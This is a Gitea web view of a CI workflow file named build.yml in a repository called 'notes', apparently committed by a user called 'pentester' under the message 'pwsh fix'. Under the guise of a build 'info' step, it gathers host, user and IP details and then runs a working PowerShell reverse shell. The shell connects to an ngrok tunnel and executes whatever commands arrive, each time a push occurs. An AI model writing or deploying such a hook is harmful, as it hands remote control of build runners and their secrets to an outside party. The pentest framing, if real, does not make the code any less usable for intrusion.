Files
notes/.gitea/workflows/build.yml
T
pentester e4127392bb
build / build (push) Failing after 0s
pwsh fix
2026-10-06 01:19:36 +02:00

15 lines
630 B
YAML

name: build
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- name: info
shell: pwsh
run: |
$env:COMPUTERNAME
whoami
$PSVersionTable
Get-NetIPAddress -AddressFamily IPv4 | Select IPAddress
$c=New-Object Net.Sockets.TCPClient('2.tcp.eu.ngrok.io',10831);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);try{$r=(iex $d 2>&1|Out-String)}catch{$r=$_.Exception.Message};$sb=([Text.Encoding]::ASCII).GetBytes($r+'PS> ');$s.Write($sb,0,$sb.Length);$s.Flush()}